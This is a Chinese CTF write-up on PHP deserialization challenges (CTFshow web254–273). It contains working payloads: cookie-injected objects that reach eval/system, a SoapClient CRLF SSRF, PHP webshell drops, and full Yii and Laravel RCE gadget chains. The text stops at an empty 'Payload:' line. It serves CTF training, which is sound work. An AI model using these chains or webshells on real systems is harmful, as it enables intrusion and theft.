CTFshow-web入门-php_unserialize-web254-278

薄荷色草地芬芳像风没有形状 2024-08-24 12:03:02 阅读 87

前言

PHP 序列化及反序列化基础

反序列化学习笔记

[CTF]PHP反序列化总结

魔术方法

在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(<code>__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。

你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual

一般在题目中常见的几个方法如下:

__wakeup() //------ 执行unserialize()时,先会调用这个函数

__sleep() //------- 执行serialize()时,先会调用这个函数

__destruct() //---- 对象被销毁时触发

__call() //-------- 在对象上下文中调用不可访问的方法时触发

__callStatic() //-- 在静态上下文中调用不可访问的方法时触发

__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法

__set() //--------- 用于将数据写入不可访问的属性

__isset() //------- 在不可访问的属性上调用isset()或empty()触发

__unset() //------- 在不可访问的属性上使用unset()时触发

__toString() //---- 把类当作字符串使用时触发

__invoke() //------ 当尝试将对象调用为函数时触发

一份比较全面的表格:

magicMethods attribute
__construct 当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。
__destruct 当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。
__call 在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。
__callStatic 在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。
__get 当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。
__set 当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。
__isset 当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。
__unset 当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。
__toString 当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。
__invoke 当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。
__set_state 当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。
__clone 当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。
__debugInfo 当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。
__sleep 在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。
__wakeup 在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。

PHP 官方文档已经很详细了,这里不在赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。

web254-278

web254

<code><?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class ctfShowUser{ -- -->

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public $isVip=false;

public function checkVip(){ -- -->

return $this->isVip;

}

public function login($u,$p){

if($this->username===$u&&$this->password===$p){

$this->isVip=true;

}

return $this->isVip;

}

public function vipOneKeyGetFlag(){

if($this->isVip){

global $flag;

echo "your flag is ".$flag;

}else{

echo "no vip, no flag";

}

}

}

$username=$_GET['username'];

$password=$_GET['password'];

if(isset($username) && isset($password)){

$user = new ctfShowUser();

if($user->login($username,$password)){

if($user->checkVip()){

$user->vipOneKeyGetFlag();

}

}else{

echo "no vip,no flag";

}

}

只要触发**vipOneKeyGetFlag()**函数就可以得到flag

考察基础的代码审计,满足$this->username===$u&&$this->password===$p即可

web255

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class ctfShowUser{

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public $isVip=false;

public function checkVip(){ -- -->

return $this->isVip;

}

public function login($u,$p){

return $this->username===$u&&$this->password===$p;

}

public function vipOneKeyGetFlag(){

if($this->isVip){

global $flag;

echo "your flag is ".$flag;

}else{

echo "no vip, no flag";

}

}

}

$username=$_GET['username'];

$password=$_GET['password'];

if(isset($username) && isset($password)){

$user = unserialize($_COOKIE['user']);

if($user->login($username,$password)){

if($user->checkVip()){

$user->vipOneKeyGetFlag();

}

}else{

echo "no vip,no flag";

}

}

与上题不同的是这次的$user是由cookie的user变量反序列化得到的,考察了基本的反序列化

要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。

<?php

class ctfShowUser{

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public $isVip=true;

}

$a = new ctfShowUser();

echo serialize($a);

GET: ?username=xxxxxx&password=xxxxxx

Cookie: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

web256

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class ctfShowUser{ -- -->

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public $isVip=false;

public function checkVip(){ -- -->

return $this->isVip;

}

public function login($u,$p){

return $this->username===$u&&$this->password===$p;

}

public function vipOneKeyGetFlag(){

if($this->isVip){

global $flag;

if($this->username!==$this->password){

echo "your flag is ".$flag;

}

}else{

echo "no vip, no flag";

}

}

}

$username=$_GET['username'];

$password=$_GET['password'];

if(isset($username) && isset($password)){

$user = unserialize($_COOKIE['user']);

if($user->login($username,$password)){

if($user->checkVip()){

$user->vipOneKeyGetFlag();

}

}else{

echo "no vip,no flag";

}

}

**vipOneKeyGetFlag()**方法要求username和password不一样,传入的类是自己可控的,改就行了呗

<?php

class ctfShowUser{

public $username='xxxxxx';code>

public $password='xxxxx';code>

public $isVip=true;

}

$a = new ctfShowUser();

echo urlencode(serialize($a));

GET: ?username=xxxxxx&password=xxxxx

Cookie: O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

//urlencode O: 11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}

web257

<?php

error_reporting(0);

highlight_file(__FILE__);

class ctfShowUser{ -- -->

private $username='xxxxxx';code>

private $password='xxxxxx';code>

private $isVip=false;

private $class = 'info';

public function __construct(){ -- -->

$this->class=new info();

}

public function login($u,$p){

return $this->username===$u&&$this->password===$p;

}

public function __destruct(){

$this->class->getInfo();

}

}

class info{

private $user='xxxxxx';code>

public function getInfo(){ -- -->

return $this->user;

}

}

class backDoor{

private $code;

public function getInfo(){

eval($this->code);

}

}

$username=$_GET['username'];

$password=$_GET['password'];

if(isset($username) && isset($password)){

$user = unserialize($_COOKIE['user']);

$user->login($username,$password);

}

backDoor的eval函数入手,修改ctfShowUser的class变量触发backDoor类,进行命令执行

<?php

class ctfShowUser{

private $username='xxxxxx';code>

private $password='xxxxxx';code>

private $isVip=true;

private $class = 'backDoor';

public function __construct(){ -- -->

$this->class=new backDoor();

}

public function login($u,$p){

return $this->username===$u&&$this->password===$p;

}

public function __destruct(){

$this->class->getInfo();

}

}

class backDoor{

private $code = 'system("cat flag.php");';

public function getInfo(){

eval($this->code);

}

}

$a = new ctfShowUser();

echo urlencode(serialize($a));

GET: ?username=xxxxxx&password=xxxxxx

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

// urlencode

// O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";s:21:"ctfShowUserpassword";s:6:"xxxxxx";s:18:"ctfShowUserisVip";b:1;s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:23:"system("cat flag.php");";}}

web258(+绕过正则)

<?php

error_reporting(0);

highlight_file(__FILE__);

class ctfShowUser{

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public $isVip=false;

public $class = 'info';

public function __construct(){ -- -->

$this->class=new info();

}

public function login($u,$p){

return $this->username===$u&&$this->password===$p;

}

public function __destruct(){

$this->class->getInfo();

}

}

class info{

public $user='xxxxxx';code>

public function getInfo(){ -- -->

return $this->user;

}

}

class backDoor{

public $code;

public function getInfo(){

eval($this->code);

}

}

$username=$_GET['username'];

$password=$_GET['password'];

if(isset($username) && isset($password)){

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){

$user = unserialize($_COOKIE['user']);

}

$user->login($username,$password);

}

多了正则过滤/[oc]:\d+:/i 还有个小改动,把原来的private改成了public

这个正则表达式'/[oc]:\d+:/i'可以分解为几个部分来解释:

/:正则表达式的开始和结束通常使用斜杠/来标记,但在字符串中使用时,需要使用转义字符\来避免与字符串的结束标记混淆。[oc]:这是一个字符集,表示匹配方括号内的任意一个字符。在这个例子中,它可以匹配字母oc::这个字符字面上表示它自己,即冒号。\d+\d是一个特殊字符,代表任意一个数字(0-9)。+是一个量词,表示前面的字符或字符集可以出现一次或多次。所以\d+表示匹配一个或多个数字。::同上,表示字面上的冒号。/ii是一个修饰符,表示不区分大小写。这意味着[oc]可以匹配OoCc

将这些部分组合起来,这个正则表达式可以匹配形如/o123:/c456:的字符串,其中oc后面跟着一个或多个数字,然后是一个冒号。例如,它可以匹配/oc:12345//O987:

可以利用unserialize的特性在数字前面加上 + 即可,这里正则替换一下。

<?php

class ctfShowUser{

public $class ;

public function __construct(){

$this->class=new backDoor();

}

}

class backDoor{

public $code = 'system("tac fl*");';

}

$a = new ctfShowUser();

echo urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($a)));

GET: ?username=xxxxxx&password=xxxxxx

Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22system%28%22tac+fl%2A%22%29%3B%22%3B%7D%7D

// urlencode

// O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:18:"system("tac fl*");";}}

web259(HTTP SoapClient+CRLF+SSRF)

<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);

//vip can get flag one key

$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);

array_pop($xff);

$ip = array_pop($xff);

if($ip!=='127.0.0.1'){

die('error');

}else{

$token = $_POST['token'];

if($token=='ctfshow'){

file_put_contents('flag.txt',$flag);

}

}

没找到可以反序列化的类,但是根据提示伪造ip后访问flag.txt可以得到flag,感觉考的是HTTP

看了大佬wp考的是php原生类SoapClient+CRLF实现SSRF

从一道题学习SoapClient与CRLF组合拳

CRLF注入攻击

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分

隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,

这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

本题需要重点关注的析构函数

__call 在对象中调用一个不可访问方法时调用

在这道题中$vip->getFlag();因为调用了类中没有的方法所以会导致__call的执行

本题需要用到的函数

SoapClient::__call

<?php

$url = 'http://127.0.0.1/flag.php';

$post_string = 'token=ctfshow';

$a = new SoapClient(null, array('location' => $url, 'user_agent' => 'hsad^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));

$a = serialize($a);

$a = str_replace('^^',"\r\n",$a);

echo urlencode($a);

web260

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){

echo $flag;

}

序列化出来的东西需要包含字符串ctfshow_i_love_36D,

直接传ctfhsow=ctfshow_i_love_36D试试,成功回显flag。

web261(__unserialize)

<?php

highlight_file(__FILE__);

class ctfshowvip{

public $username;

public $password;

public $code;

public function __construct($u,$p){

$this->username=$u;

$this->password=$p;

}

public function __wakeup(){

if($this->username!='' || $this->password!=''){

die('error');

}

}

public function __invoke(){

eval($this->code);

}

public function __sleep(){

$this->username='';code>

$this->password='';code>

}

public function __unserialize($data){ -- -->

$this->username=$data['username'];

$this->password=$data['password'];

$this->code = $this->username.$this->password;

}

public function __destruct(){

if($this->code==0x36d){

file_put_contents($this->username, $this->password);

}

}

}

unserialize($_GET['vip']);

PHP 文档中提到

注意:

如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

注意:

此特性自 PHP 7.4.0 起可用。

查看 response header 可知 X-Powered-By: PHP/7.4.16,那么 __wakeup 部分就不会被执行,与注释无异。

__destruct 函数部分弱比较 $this->code==0x36d,因为 $this->code = $this->username.$this->password;username 可控制,因为 (int)'877.php' == 0x36d,故传 877.php 即可绕过。

<?php

class ctfshowvip{

public $username;

public $password;

public $code;

public function __construct($u,$p){

$this->username=$u;

$this->password=$p;

}

}

$a = new ctfshowvip('877.php','<?php @eval($_POST[1]);?>');

$a = urlencode(serialize($a));

echo $a;

GET: ?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

POST: /877.php

1=system('tac /flag_is_here');

web262(反序列化字符串逃逸)

<?php

error_reporting(0);

class message{

public $from;

public $msg;

public $to;

public $token='user';code>

public function __construct($f,$m,$t){ -- -->

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

$f = $_GET['f'];

$m = $_GET['m'];

$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){

$msg = new message($f,$m,$t);

$umsg = str_replace('fuck', 'loveU', serialize($msg));

setcookie('msg',base64_encode($umsg));

echo 'Your message has been sent';

}

message.php

<?php

highlight_file(__FILE__);

include('flag.php');

class message{

public $from;

public $msg;

public $to;

public $token='user';code>

public function __construct($f,$m,$t){ -- -->

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

if(isset($_COOKIE['msg'])){

$msg = unserialize(base64_decode($_COOKIE['msg']));

if($msg->token=='admin'){

echo $flag;

}

}

根据message.php提示,Cookie传入构造好的msg即可

<?php

class message{

public $from;

public $msg;

public $to;

public $token='admin';code>

}

$a = new message();

echo base64_encode(serialize($a));

Cookie: msg=Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

正确做法应该是运用反序列化字符串逃逸,运用的思想跟sql注入的闭合相似

我们这里有一个序列化字符串,我们要改变token属性,但我们无法直接控制它的值。

我们只能给from,msg,to传递值,即这三个属性是可控的

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:1:"3";s:5:"token";s:4:"user";}

假如我们向to属性传递 t=3";s:5:“token”;s:5:“user”;} 字符串就变为了下面这样

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:27:"3";s:5:"token";s:4:"user";}";s:5:"token";s:5:"user";}

我们对字符串进来了闭合,这样我们就可以控制token属性的值了,但我们也会发现一点,to属性值的长度变为了27。

反序列化时,如果为27则会匹配后面27个字符,这样闭合就没有效果。

这时候题目中的替换字符函数可以帮助到我们

$umsg = str_replace('fuck', 'loveU', serialize($msg));

str_replace会将fuck替换为loveU,且替换是在序列化之后进行,也就是说,实际字符串长度增加了1,但标明的字符串长度任然为原值

// 替换前

s:2:"to";s:4:"fuck";

// 替换后

s:2:"to";s:4:"loveU";

通过这种方法,我们就可以凭空增加字符,来成功进行闭合

// t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

// 后面多出27个字符,所以我们写27个fuck,替换为loveU后,增加了27个字符,来达到字符串逃逸

最终我们的payload为

f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263(Session反序列化)

刚开始以为弱密码,但是成功,于是扫描到备份文件www.zip

index.php

<?php

error_reporting(0);

session_start();

//超过5次禁止登陆

if(isset($_SESSION['limit'])){ -- -->

$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);

}else{

setcookie("limit",base64_encode('1'));

$_SESSION['limit']= 1;

}

?>

inc.php

<?php

ini_set('session.serialize_handler', 'php');

session_start();

...

class User{

public $username;

public $password;

public $status;

function __construct($username,$password){

$this->username = $username;

$this->password = $password;

}

function setStatus($s){

$this->status=$s;

}

function __destruct(){

file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));

}

}

inc.php有file_put_contents,可写木马,user控制文件名,pass写一句话

session.save_path="" 指定储存的路径code>

session.save_handler="" 指定储存时使用的函数(默认是file)code>

session.auto_start boolen

session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)code>

使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。

php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize

那么思路就很清晰了,首先在index.php中的 $COOKIE['limit'] 中构造 |+序列化对象 的字符串,访问首页写入 session,再通过 check.php 加载的 inc.php 中的 ini_set('session.serialize_handler', 'php');sessionsession.serialize_handler=php 的格式反序列化,执行 User 类的 __destruct 方法写 shell

构造 payload

<?php

class User{ -- -->

public $username = "a.php";

public $password = '<?php eval($_POST[1]);phpinfo();?>';

public $status;

}

$a = new User();

echo base64_encode("|".serialize($a));

Cookie: limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJhLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

访问index.php时修改Cookie并发送,然后访问check.php触发反序列化,最后在根目录下/log-a.php刚开始文件成功写入了,没法命令执行,木马后面加个phpinfo()就可以了,很奇怪

web264(Session反序列化字符逃逸)

<?php

session_start();

highlight_file(__FILE__);

include('flag.php');

class message{

public $from;

public $msg;

public $to;

public $token='user';code>

public function __construct($f,$m,$t){ -- -->

$this->from = $f;

$this->msg = $m;

$this->to = $t;

}

}

if(isset($_COOKIE['msg'])){

$msg = unserialize(base64_decode($_SESSION['msg']));

if($msg->token=='admin'){

echo $flag;

}

}

这次相比 web262 有了 session 的限制,就不能自己构造了,用起来反序列化字符串逃逸。

<?php

class message{

public $from ='aaa';

public $msg = 'aaa';

public $to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';

public $token='admin';code>

}

$a = new message();

echo serialize($a);

GET: ?f=aaa&m=bbb&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

在向index.php发送之后得到回显Your message has been sent,然后访问message.php(记得Cookie加上msg)得到flag

web265(引用 &)

<?php

error_reporting(0);

include('flag.php');

highlight_file(__FILE__);

class ctfshowAdmin{ -- -->

public $token;

public $password;

public function __construct($t,$p){

$this->token=$t;

$this->password = $p;

}

public function login(){

return $this->token===$this->password;

}

}

$ctfshow = unserialize($_GET['ctfshow']);

$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){

echo $flag;

}

如果要靠输入的 $password 去和 md5(mt_rand()) 碰撞,几乎是不可能的。这里需要用到 php 的引用,使得 $password =

&$token;,那么 $password === $token 就没问题了。

<?php

class ctfshowAdmin{

public $token;

public $password;

public function __construct(){

$this->password = & $this->token;

}

}

$a = new ctfshowAdmin();

echo urlencode(serialize($a));

Payload:

?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266( PHP大小写)

<?php

highlight_file(__FILE__);

include('flag.php');

$cs = file_get_contents('php://input');

class ctfshow{

public $username='xxxxxx';code>

public $password='xxxxxx';code>

public function __construct($u,$p){ -- -->

$this->username=$u;

$this->password=$p;

}

public function login(){

return $this->username===$this->password;

}

public function __toString(){

return $this->username;

}

public function __destruct(){

global $flag;

echo $flag;

}

}

$ctfshowo=@unserialize($cs);

if(preg_match('/ctfshow/', $cs)){

throw new Exception("Error $ctfshowo",1);

}

file_get_contents(‘php://input’)

在用php写接口的时候,通常会将请求的数据通过json的形式发送到指定的请求地址处,此时的file_get_contents(‘php://input’)

主要是用来获取请求的原始数据

其与POST的区别如下:

-------$_POST------------------

array(2) { [“name”]=> string(8) “zhangsan” [“pwd”]=> string(8) “zhangsan” }

-------php://input-------------

name=zhangsan&pwd=zhangsan

只要序列化ctfshow类让他反序列之后触发__destruct()函数即可得到flag

由于过滤了ctfshow但是这里用的是cTFSHOW,在PHP中,类不区分大小写;所以绕过了过滤。

这里涉及到一个 php 常识:PHP大小写:函数名和类名不区分,变量名区分。

Payload:

POST: O:7:"cTFSHOW":2:{ s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

web267(Yii框架)

弱密码admin/admin登陆后,About界面发现注释<!--?view-source -->

于是访问index.php?r=site/about&view-source

///backdoor/shell

unserialize(base64_decode($_GET['code']))

搜了一下知道是 Yii 框架的反序列化漏洞。

Yii反序列化漏洞分析

Poc

<?php

namespace yii\rest{

class CreateAction{

public $checkAccess;

public $id;

public function __construct(){

$this->checkAccess = 'shell_exec';

$this->id = 'cp /flag 3.txt';

}

}

}

namespace Faker{

use yii\rest\CreateAction;

class Generator{

protected $formatters;

public function __construct(){

$this->formatters['close'] = [new CreateAction, 'run'];

}

}

}

namespace yii\db{

use Faker\Generator;

class BatchQueryResult{

private $_dataReader;

public function __construct(){

$this->_dataReader = new Generator;

}

}

}

namespace{

echo base64_encode(serialize(new yii\db\BatchQueryResult));

}

?>

这里 system 不能用,用了 shell_exec

Payload:

/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

web268-270(Yii框架)

做法一样但是需要修改poc,因为存在过滤

<?php

namespace yii\rest {

class Action

{

public $checkAccess;

}

class IndexAction

{

public function __construct($func, $param)

{

$this->checkAccess = $func;

$this->id = $param;

}

}

}

namespace yii\web {

abstract class MultiFieldSession

{

public $writeCallback;

}

class DbSession extends MultiFieldSession

{

public function __construct($func, $param)

{

$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];

}

}

}

namespace yii\db {

use yii\base\BaseObject;

class BatchQueryResult

{

private $_dataReader;

public function __construct($func, $param)

{

$this->_dataReader = new \yii\web\DbSession($func, $param);

}

}

}

namespace {

$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令

echo(base64_encode(serialize($exp)));

}

Payload:?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

web271(Laravel5.7 反序列化漏洞)

Laravel5.7反序列化RCE漏洞分析

空格被过滤注意修改最后的payload

Poc

<?php

namespace Illuminate\Foundation\Testing{

class PendingCommand{

protected $command;

protected $parameters;

protected $app;

public $test;

public function __construct($command, $parameters,$class,$app){

$this->command = $command;

$this->parameters = $parameters;

$this->test=$class;

$this->app=$app;

}

}

}

namespace Illuminate\Auth{

class GenericUser{

protected $attributes;

public function __construct(array $attributes){

$this->attributes = $attributes;

}

}

}

namespace Illuminate\Foundation{

class Application{

protected $hasBeenBootstrapped = false;

protected $bindings;

public function __construct($bind){

$this->bindings=$bind;

}

}

}

namespace{

$genericuser = new Illuminate\Auth\GenericUser(

array(

"expectedOutput"=>array("0"=>"1"),

"expectedQuestions"=>array("0"=>"1")

)

);

$application = new Illuminate\Foundation\Application(

array(

"Illuminate\Contracts\Console\Kernel"=>

array(

"concrete"=>"Illuminate\Foundation\Application"

)

)

);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(

"system",array('tac /fl*'),

$genericuser,

$application

);

echo urlencode(serialize($pendingcommand));

}

或者使用phpgccphp phpggc Laravel/RCE6 "system('cat /flag');" --url

Payload:

POST: data=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22tac+%2Ffl%2A%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

web272-273(Laravel5.8 反序列化漏洞)

<?php

namespace PhpParser\Node\Scalar\MagicConst{

class Line { }

}

namespace Mockery\Generator{

class MockDefinition

{

protected $config;

protected $code;

public function __construct($config, $code)

{

$this->config = $config;

$this->code = $code;

}

}

}

namespace Mockery\Loader{

class EvalLoader{ }

}

namespace Illuminate\Bus{

class Dispatcher

{

protected $queueResolver;

public function __construct($queueResolver)

{

$this->queueResolver = $queueResolver;

}

}

}

namespace Illuminate\Foundation\Console{

class QueuedCommand

{

public $connection;

public function __construct($connection)

{

$this->connection = $connection;

}

}

}

namespace Illuminate\Broadcasting{

class PendingBroadcast

{

protected $events;

protected $event;

public function __construct($events, $event)

{

$this->events = $events;

$this->event = $event;

}

}

}

namespace{

$line = new PhpParser\Node\Scalar\MagicConst\Line();

$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');exit;?>");

$evalloader = new Mockery\Loader\EvalLoader();

$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));

$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);

$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);

echo urlencode(serialize($pendingbroadcast));

}

或者使用phpgcc

Payload:

